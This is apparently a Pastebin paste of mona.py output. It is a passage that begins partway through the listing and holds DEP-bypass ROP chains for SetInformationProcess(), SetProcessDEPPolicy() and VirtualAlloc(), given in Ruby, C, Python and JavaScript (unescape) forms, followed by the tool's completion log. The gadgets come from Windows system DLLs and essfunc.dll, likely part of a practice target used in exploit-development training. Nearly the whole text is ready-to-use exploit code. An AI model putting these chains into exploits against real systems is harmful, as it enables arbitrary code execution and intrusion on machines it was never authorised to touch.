  516. 0x7723ea62, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
  517. 0xfffffffc, // Value to negate, will become 0x00000004
  518. 0x766b94ea, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
  519. //[---INFO:gadgets_to_set_edi:---]
  520. 0x751e9df8, // POP EDI // RETN [apphelp.dll] ** REBASED ** ASLR
  521. 0x751e9df8, // skip 4 bytes [apphelp.dll] ** REBASED ** ASLR
  522. //[---INFO:pushad:---]
  523. 0x7721c180, // PUSHAD // RETN [KERNELBASE.dll] ** REBASED ** ASLR
  524. };
  525. if(buf != NULL) {
  526. memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
  527. };
  528. return sizeof(rop_gadgets);
  529. }
  530.  
  531. // use the 'rop_chain' variable after this call, it's just an unsigned int[]
  532. CREATE_ROP_CHAIN(rop_chain, );
  533. // alternatively just allocate a large enough buffer and get the rop chain, i.e.:
  534. // unsigned int rop_chain[256];
  535. // int rop_chain_length = create_rop_chain(rop_chain, );
  536.  
  537. *** [ Python ] ***
  538.  
  539. def create_rop_chain():
  540.  
  541. # rop chain generated with mona.py - www.corelan.be
  542. rop_gadgets = [
  543. #[---INFO:gadgets_to_set_ebp:---]
  544. 0x76a36604, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  545. 0x772ec3c0, # ptr to &SetInformationProcess() [IAT KERNELBASE.dll] ** REBASED ** ASLR
  546. 0x7735b710, # MOV EBP,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
  547. #[---INFO:gadgets_to_set_edx:---]
  548. 0x7723f572, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  549. 0xffffffde, # Value to negate, will become 0x00000022
  550. 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  551. 0x76b0c549, # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR
  552. #[---INFO:gadgets_to_set_ecx:---]
  553. 0x75ae71e6, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
  554. 0x62501511, # &0x00000002 [essfunc.dll]
  555. #[---INFO:gadgets_to_set_ebx:---]
  556. 0x76abd133, # POP EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  557. 0xffffffff, # 0xffffffff-> ebx
  558. #[---INFO:gadgets_to_set_eax:---]
  559. 0x7723ea62, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  560. 0xfffffffc, # Value to negate, will become 0x00000004
  561. 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  562. #[---INFO:gadgets_to_set_edi:---]
  563. 0x751e9df8, # POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
  564. 0x751e9df8, # skip 4 bytes [apphelp.dll] ** REBASED ** ASLR
  565. #[---INFO:pushad:---]
  566. 0x7721c180, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  567. ]
  568. return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
  569.  
  570. rop_chain = create_rop_chain()
  571.  
  572.  
  573.  
  574. *** [ JavaScript ] ***
  575.  
  576. //rop chain generated with mona.py - www.corelan.be
  577. rop_gadgets = unescape(
  578. "" + // #[---INFO:gadgets_to_set_ebp:---] :
  579. "%u6604%u76a3" + // 0x76a36604 : ,# POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  580. "%uc3c0%u772e" + // 0x772ec3c0 : ,# ptr to &SetInformationProcess() [IAT KERNELBASE.dll] ** REBASED ** ASLR
  581. "%ub710%u7735" + // 0x7735b710 : ,# MOV EBP,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
  582. "" + // #[---INFO:gadgets_to_set_edx:---] :
  583. "%uf572%u7723" + // 0x7723f572 : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  584. "%uffde%uffff" + // 0xffffffde : ,# Value to negate, will become 0x00000022
  585. "%ua918%u766b" + // 0x766ba918 : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  586. "%uc549%u76b0" + // 0x76b0c549 : ,# XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR
  587. "" + // #[---INFO:gadgets_to_set_ecx:---] :
  588. "%u71e6%u75ae" + // 0x75ae71e6 : ,# POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
  589. "%u1511%u6250" + // 0x62501511 : ,# &0x00000002 [essfunc.dll]
  590. "" + // #[---INFO:gadgets_to_set_ebx:---] :
  591. "%ud133%u76ab" + // 0x76abd133 : ,# POP EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  592. "%uffff%uffff" + // 0xffffffff : ,# 0xffffffff-> ebx
  593. "" + // #[---INFO:gadgets_to_set_eax:---] :
  594. "%uea62%u7723" + // 0x7723ea62 : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  595. "%ufffc%uffff" + // 0xfffffffc : ,# Value to negate, will become 0x00000004
  596. "%u94ea%u766b" + // 0x766b94ea : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  597. "" + // #[---INFO:gadgets_to_set_edi:---] :
  598. "%u9df8%u751e" + // 0x751e9df8 : ,# POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
  599. "%u9df8%u751e" + // 0x751e9df8 : ,# skip 4 bytes [apphelp.dll] ** REBASED ** ASLR
  600. "" + // #[---INFO:pushad:---] :
  601. "%uc180%u7721" + // 0x7721c180 : ,# PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  602. ""); // :
  603.  
  604.  
  605. --------------------------------------------------------------------------------------------------
  606.  
  607.  
  608. ################################################################################
  609.  
  610. Register setup for SetProcessDEPPolicy() :
  611. --------------------------------------------
  612. EAX = <not used>
  613. ECX = <not used>
  614. EDX = <not used>
  615. EBX = dwFlags (ptr to 0x00000000)
  616. ESP = ReturnTo (automatic)
  617. EBP = ptr to SetProcessDEPPolicy()
  618. ESI = <not used>
  619. EDI = ROP NOP (4 byte stackpivot)
  620. --------------------------------------------
  621.  
  622.  
  623. ROP Chain for SetProcessDEPPolicy() [(XP SP3/Vista SP1/2008 Server SP1, can be called only once per process)] :
  624. ---------------------------------------------------------------------------------------------------------------
  625.  
  626. *** [ Ruby ] ***
  627.  
  628. def create_rop_chain()
  629.  
  630. # rop chain generated with mona.py - www.corelan.be
  631. rop_gadgets =
  632. [
  633. #[---INFO:gadgets_to_set_ebp:---]
  634. 0x75ac28c2, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
  635. 0x766a5940, # SetProcessDEPPolicy() [KERNEL32.DLL]
  636. #[---INFO:gadgets_to_set_ebx:---]
  637. 0x773b884f, # POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
  638. 0x62505008, # &0x00000000 [essfunc.dll]
  639. #[---INFO:gadgets_to_set_edi:---]
  640. 0x76b20b7e, # POP EDI # RETN [WS2_32.DLL] ** REBASED ** ASLR
  641. 0x76b20b7e, # skip 4 bytes [WS2_32.DLL] ** REBASED ** ASLR
  642. #[---INFO:pushad:---]
  643. 0x773594f1, # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
  644. ].flatten.pack("V*")
  645.  
  646. return rop_gadgets
  647.  
  648. end
  649.  
  650.  
  651. # Call the ROP chain generator inside the 'exploit' function :
  652.  
  653.  
  654. rop_chain = create_rop_chain()
  655.  
  656.  
  657.  
  658. *** [ C ] ***
  659.  
  660. #define CREATE_ROP_CHAIN(name, ...) \
  661. int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \
  662. unsigned int name[name##_length / sizeof(unsigned int)]; \
  663. create_rop_chain(name, ##__VA_ARGS__);
  664.  
  665. int create_rop_chain(unsigned int *buf, unsigned int )
  666. {
  667. // rop chain generated with mona.py - www.corelan.be
  668. unsigned int rop_gadgets[] = {
  669. //[---INFO:gadgets_to_set_ebp:---]
  670. 0x75ac28c2, // POP EBP // RETN [msvcrt.dll] ** REBASED ** ASLR
  671. 0x766a5940, // SetProcessDEPPolicy() [KERNEL32.DLL]
  672. //[---INFO:gadgets_to_set_ebx:---]
  673. 0x773b884f, // POP EBX // RETN [ntdll.dll] ** REBASED ** ASLR
  674. 0x62505008, // &0x00000000 [essfunc.dll]
  675. //[---INFO:gadgets_to_set_edi:---]
  676. 0x76b20b7e, // POP EDI // RETN [WS2_32.DLL] ** REBASED ** ASLR
  677. 0x76b20b7e, // skip 4 bytes [WS2_32.DLL] ** REBASED ** ASLR
  678. //[---INFO:pushad:---]
  679. 0x773594f1, // PUSHAD // RETN [ntdll.dll] ** REBASED ** ASLR
  680. };
  681. if(buf != NULL) {
  682. memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
  683. };
  684. return sizeof(rop_gadgets);
  685. }
  686.  
  687. // use the 'rop_chain' variable after this call, it's just an unsigned int[]
  688. CREATE_ROP_CHAIN(rop_chain, );
  689. // alternatively just allocate a large enough buffer and get the rop chain, i.e.:
  690. // unsigned int rop_chain[256];
  691. // int rop_chain_length = create_rop_chain(rop_chain, );
  692.  
  693. *** [ Python ] ***
  694.  
  695. def create_rop_chain():
  696.  
  697. # rop chain generated with mona.py - www.corelan.be
  698. rop_gadgets = [
  699. #[---INFO:gadgets_to_set_ebp:---]
  700. 0x75ac28c2, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
  701. 0x766a5940, # SetProcessDEPPolicy() [KERNEL32.DLL]
  702. #[---INFO:gadgets_to_set_ebx:---]
  703. 0x773b884f, # POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
  704. 0x62505008, # &0x00000000 [essfunc.dll]
  705. #[---INFO:gadgets_to_set_edi:---]
  706. 0x76b20b7e, # POP EDI # RETN [WS2_32.DLL] ** REBASED ** ASLR
  707. 0x76b20b7e, # skip 4 bytes [WS2_32.DLL] ** REBASED ** ASLR
  708. #[---INFO:pushad:---]
  709. 0x773594f1, # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
  710. ]
  711. return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
  712.  
  713. rop_chain = create_rop_chain()
  714.  
  715.  
  716.  
  717. *** [ JavaScript ] ***
  718.  
  719. //rop chain generated with mona.py - www.corelan.be
  720. rop_gadgets = unescape(
  721. "" + // #[---INFO:gadgets_to_set_ebp:---] :
  722. "%u28c2%u75ac" + // 0x75ac28c2 : ,# POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
  723. "%u5940%u766a" + // 0x766a5940 : ,# SetProcessDEPPolicy() [KERNEL32.DLL]
  724. "" + // #[---INFO:gadgets_to_set_ebx:---] :
  725. "%u884f%u773b" + // 0x773b884f : ,# POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
  726. "%u5008%u6250" + // 0x62505008 : ,# &0x00000000 [essfunc.dll]
  727. "" + // #[---INFO:gadgets_to_set_edi:---] :
  728. "%u0b7e%u76b2" + // 0x76b20b7e : ,# POP EDI # RETN [WS2_32.DLL] ** REBASED ** ASLR
  729. "%u0b7e%u76b2" + // 0x76b20b7e : ,# skip 4 bytes [WS2_32.DLL] ** REBASED ** ASLR
  730. "" + // #[---INFO:pushad:---] :
  731. "%u94f1%u7735" + // 0x773594f1 : ,# PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
  732. ""); // :
  733.  
  734.  
  735. --------------------------------------------------------------------------------------------------
  736.  
  737.  
  738. ################################################################################
  739.  
  740. Register setup for VirtualAlloc() :
  741. --------------------------------------------
  742. EAX = NOP (0x90909090)
  743. ECX = flProtect (0x40)
  744. EDX = flAllocationType (0x1000)
  745. EBX = dwSize
  746. ESP = lpAddress (automatic)
  747. EBP = ReturnTo (ptr to jmp esp)
  748. ESI = ptr to VirtualAlloc()
  749. EDI = ROP NOP (RETN)
  750. --- alternative chain ---
  751. EAX = ptr to &VirtualAlloc()
  752. ECX = flProtect (0x40)
  753. EDX = flAllocationType (0x1000)
  754. EBX = dwSize
  755. ESP = lpAddress (automatic)
  756. EBP = POP (skip 4 bytes)
  757. ESI = ptr to JMP [EAX]
  758. EDI = ROP NOP (RETN)
  759. + place ptr to "jmp esp" on stack, below PUSHAD
  760. --------------------------------------------
  761.  
  762.  
  763. ROP Chain for VirtualAlloc() [(XP/2003 Server and up)] :
  764. --------------------------------------------------------
  765.  
  766. *** [ Ruby ] ***
  767.  
  768. def create_rop_chain()
  769.  
  770. # rop chain generated with mona.py - www.corelan.be
  771. rop_gadgets =
  772. [
  773. #[---INFO:gadgets_to_set_esi:---]
  774. 0x75b2782f, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
  775. 0x7427a1a4, # ptr to &VirtualAlloc() [IAT mswsock.dll] ** REBASED ** ASLR
  776. 0x773ac722, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
  777. 0x76b41470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
  778. #[---INFO:gadgets_to_set_ebp:---]
  779. 0x751cfa10, # POP EBP # RETN [apphelp.dll] ** REBASED ** ASLR
  780. 0x625011bb, # & jmp esp [essfunc.dll]
  781. #[---INFO:gadgets_to_set_ebx:---]
  782. 0x77270bb3, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  783. 0xffffffff, # Value to negate, will become 0x00000001
  784. 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  785. 0x7720c130, # XCHG EAX,EBX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  786. #[---INFO:gadgets_to_set_edx:---]
  787. 0x75ad6de9, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
  788. 0x1a741001, # put delta into ecx (-> put 0x00001000 into edx)
  789. 0x76a75078, # ADD ECX,E58BFFFF # POP EBP # RETN [RPCRT4.dll] ** REBASED ** ASLR
  790. 0x41414141, # Filler (compensate)
  791. 0x7729dde4, # ADD EDX,ECX # ADD EAX,20 # ADD EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  792. #[---INFO:gadgets_to_set_ecx:---]
  793. 0x76a9a6e0, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  794. 0xffffffc0, # Value to negate, will become 0x00000040
  795. 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  796. 0x751de2ab, # XCHG EAX,ECX # RETN [apphelp.dll] ** REBASED ** ASLR
  797. #[---INFO:gadgets_to_set_edi:---]
  798. 0x751ba213, # POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
  799. 0x766ba91a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
  800. #[---INFO:gadgets_to_set_eax:---]
  801. 0x77270b75, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  802. 0x90909090, # nop
  803. #[---INFO:pushad:---]
  804. 0x7713a648, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  805. ].flatten.pack("V*")
  806.  
  807. return rop_gadgets
  808.  
  809. end
  810.  
  811.  
  812. # Call the ROP chain generator inside the 'exploit' function :
  813.  
  814.  
  815. rop_chain = create_rop_chain()
  816.  
  817.  
  818.  
  819. *** [ C ] ***
  820.  
  821. #define CREATE_ROP_CHAIN(name, ...) \
  822. int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \
  823. unsigned int name[name##_length / sizeof(unsigned int)]; \
  824. create_rop_chain(name, ##__VA_ARGS__);
  825.  
  826. int create_rop_chain(unsigned int *buf, unsigned int )
  827. {
  828. // rop chain generated with mona.py - www.corelan.be
  829. unsigned int rop_gadgets[] = {
  830. //[---INFO:gadgets_to_set_esi:---]
  831. 0x75b2782f, // POP EAX // RETN [msvcrt.dll] ** REBASED ** ASLR
  832. 0x7427a1a4, // ptr to &VirtualAlloc() [IAT mswsock.dll] ** REBASED ** ASLR
  833. 0x773ac722, // MOV EAX,DWORD PTR DS:[EAX] // RETN [ntdll.dll] ** REBASED ** ASLR
  834. 0x76b41470, // XCHG EAX,ESI // RETN [WS2_32.DLL] ** REBASED ** ASLR
  835. //[---INFO:gadgets_to_set_ebp:---]
  836. 0x751cfa10, // POP EBP // RETN [apphelp.dll] ** REBASED ** ASLR
  837. 0x625011bb, // & jmp esp [essfunc.dll]
  838. //[---INFO:gadgets_to_set_ebx:---]
  839. 0x77270bb3, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
  840. 0xffffffff, // Value to negate, will become 0x00000001
  841. 0x766b94ea, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
  842. 0x7720c130, // XCHG EAX,EBX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
  843. //[---INFO:gadgets_to_set_edx:---]
  844. 0x75ad6de9, // POP ECX // RETN [msvcrt.dll] ** REBASED ** ASLR
  845. 0x1a741001, // put delta into ecx (-> put 0x00001000 into edx)
  846. 0x76a75078, // ADD ECX,E58BFFFF // POP EBP // RETN [RPCRT4.dll] ** REBASED ** ASLR
  847. 0x41414141, // Filler (compensate)
  848. 0x7729dde4, // ADD EDX,ECX // ADD EAX,20 // ADD EAX,EDX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
  849. //[---INFO:gadgets_to_set_ecx:---]
  850. 0x76a9a6e0, // POP EAX // RETN [RPCRT4.dll] ** REBASED ** ASLR
  851. 0xffffffc0, // Value to negate, will become 0x00000040
  852. 0x766ba918, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
  853. 0x751de2ab, // XCHG EAX,ECX // RETN [apphelp.dll] ** REBASED ** ASLR
  854. //[---INFO:gadgets_to_set_edi:---]
  855. 0x751ba213, // POP EDI // RETN [apphelp.dll] ** REBASED ** ASLR
  856. 0x766ba91a, // RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
  857. //[---INFO:gadgets_to_set_eax:---]
  858. 0x77270b75, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
  859. 0x90909090, // nop
  860. //[---INFO:pushad:---]
  861. 0x7713a648, // PUSHAD // RETN [KERNELBASE.dll] ** REBASED ** ASLR
  862. };
  863. if(buf != NULL) {
  864. memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
  865. };
  866. return sizeof(rop_gadgets);
  867. }
  868.  
  869. // use the 'rop_chain' variable after this call, it's just an unsigned int[]
  870. CREATE_ROP_CHAIN(rop_chain, );
  871. // alternatively just allocate a large enough buffer and get the rop chain, i.e.:
  872. // unsigned int rop_chain[256];
  873. // int rop_chain_length = create_rop_chain(rop_chain, );
  874.  
  875. *** [ Python ] ***
  876.  
  877. def create_rop_chain():
  878.  
  879. # rop chain generated with mona.py - www.corelan.be
  880. rop_gadgets = [
  881. #[---INFO:gadgets_to_set_esi:---]
  882. 0x75b2782f, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
  883. 0x7427a1a4, # ptr to &VirtualAlloc() [IAT mswsock.dll] ** REBASED ** ASLR
  884. 0x773ac722, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
  885. 0x76b41470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
  886. #[---INFO:gadgets_to_set_ebp:---]
  887. 0x751cfa10, # POP EBP # RETN [apphelp.dll] ** REBASED ** ASLR
  888. 0x625011bb, # & jmp esp [essfunc.dll]
  889. #[---INFO:gadgets_to_set_ebx:---]
  890. 0x77270bb3, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  891. 0xffffffff, # Value to negate, will become 0x00000001
  892. 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  893. 0x7720c130, # XCHG EAX,EBX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  894. #[---INFO:gadgets_to_set_edx:---]
  895. 0x75ad6de9, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
  896. 0x1a741001, # put delta into ecx (-> put 0x00001000 into edx)
  897. 0x76a75078, # ADD ECX,E58BFFFF # POP EBP # RETN [RPCRT4.dll] ** REBASED ** ASLR
  898. 0x41414141, # Filler (compensate)
  899. 0x7729dde4, # ADD EDX,ECX # ADD EAX,20 # ADD EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  900. #[---INFO:gadgets_to_set_ecx:---]
  901. 0x76a9a6e0, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  902. 0xffffffc0, # Value to negate, will become 0x00000040
  903. 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  904. 0x751de2ab, # XCHG EAX,ECX # RETN [apphelp.dll] ** REBASED ** ASLR
  905. #[---INFO:gadgets_to_set_edi:---]
  906. 0x751ba213, # POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
  907. 0x766ba91a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
  908. #[---INFO:gadgets_to_set_eax:---]
  909. 0x77270b75, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  910. 0x90909090, # nop
  911. #[---INFO:pushad:---]
  912. 0x7713a648, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  913. ]
  914. return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
  915.  
  916. rop_chain = create_rop_chain()
  917.  
  918.  
  919.  
  920. *** [ JavaScript ] ***
  921.  
  922. //rop chain generated with mona.py - www.corelan.be
  923. rop_gadgets = unescape(
  924. "" + // #[---INFO:gadgets_to_set_esi:---] :
  925. "%u782f%u75b2" + // 0x75b2782f : ,# POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
  926. "%ua1a4%u7427" + // 0x7427a1a4 : ,# ptr to &VirtualAlloc() [IAT mswsock.dll] ** REBASED ** ASLR
  927. "%uc722%u773a" + // 0x773ac722 : ,# MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
  928. "%u1470%u76b4" + // 0x76b41470 : ,# XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
  929. "" + // #[---INFO:gadgets_to_set_ebp:---] :
  930. "%ufa10%u751c" + // 0x751cfa10 : ,# POP EBP # RETN [apphelp.dll] ** REBASED ** ASLR
  931. "%u11bb%u6250" + // 0x625011bb : ,# & jmp esp [essfunc.dll]
  932. "" + // #[---INFO:gadgets_to_set_ebx:---] :
  933. "%u0bb3%u7727" + // 0x77270bb3 : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  934. "%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
  935. "%u94ea%u766b" + // 0x766b94ea : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  936. "%uc130%u7720" + // 0x7720c130 : ,# XCHG EAX,EBX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  937. "" + // #[---INFO:gadgets_to_set_edx:---] :
  938. "%u6de9%u75ad" + // 0x75ad6de9 : ,# POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
  939. "%u1001%u1a74" + // 0x1a741001 : ,# put delta into ecx (-> put 0x00001000 into edx)
  940. "%u5078%u76a7" + // 0x76a75078 : ,# ADD ECX,E58BFFFF # POP EBP # RETN [RPCRT4.dll] ** REBASED ** ASLR
  941. "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
  942. "%udde4%u7729" + // 0x7729dde4 : ,# ADD EDX,ECX # ADD EAX,20 # ADD EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  943. "" + // #[---INFO:gadgets_to_set_ecx:---] :
  944. "%ua6e0%u76a9" + // 0x76a9a6e0 : ,# POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  945. "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
  946. "%ua918%u766b" + // 0x766ba918 : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  947. "%ue2ab%u751d" + // 0x751de2ab : ,# XCHG EAX,ECX # RETN [apphelp.dll] ** REBASED ** ASLR
  948. "" + // #[---INFO:gadgets_to_set_edi:---] :
  949. "%ua213%u751b" + // 0x751ba213 : ,# POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
  950. "%ua91a%u766b" + // 0x766ba91a : ,# RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
  951. "" + // #[---INFO:gadgets_to_set_eax:---] :
  952. "%u0b75%u7727" + // 0x77270b75 : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  953. "%u9090%u9090" + // 0x90909090 : ,# nop
  954. "" + // #[---INFO:pushad:---] :
  955. "%ua648%u7713" + // 0x7713a648 : ,# PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  956. ""); // :
  957.  
  958.  
  959. --------------------------------------------------------------------------------------------------
  960.  
  961.  
  962. 0BADF00D ROP generator finished
  963. 0BADF00D
  964. 0BADF00D [+] Writing stackpivots to file stackpivot.txt
  965. 0BADF00D Wrote 10820 pivots to file
  966. 0BADF00D [+] Writing suggestions to file rop_suggestions.txt
  967. 0BADF00D Wrote 5335 suggestions to file
  968. 0BADF00D [+] Writing results to file rop.txt (36939 interesting gadgets)
  969. 0BADF00D Wrote 36939 interesting gadgets to file
  970. 0BADF00D [+] Writing other gadgets to file rop.txt (45656 gadgets)
  971. 0BADF00D Wrote 45656 other gadgets to file
  972. 0BADF00D Done
  973. 0BADF00D
  974. 0BADF00D [+] This mona.py action took 0:01:33.063000
  975.  
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!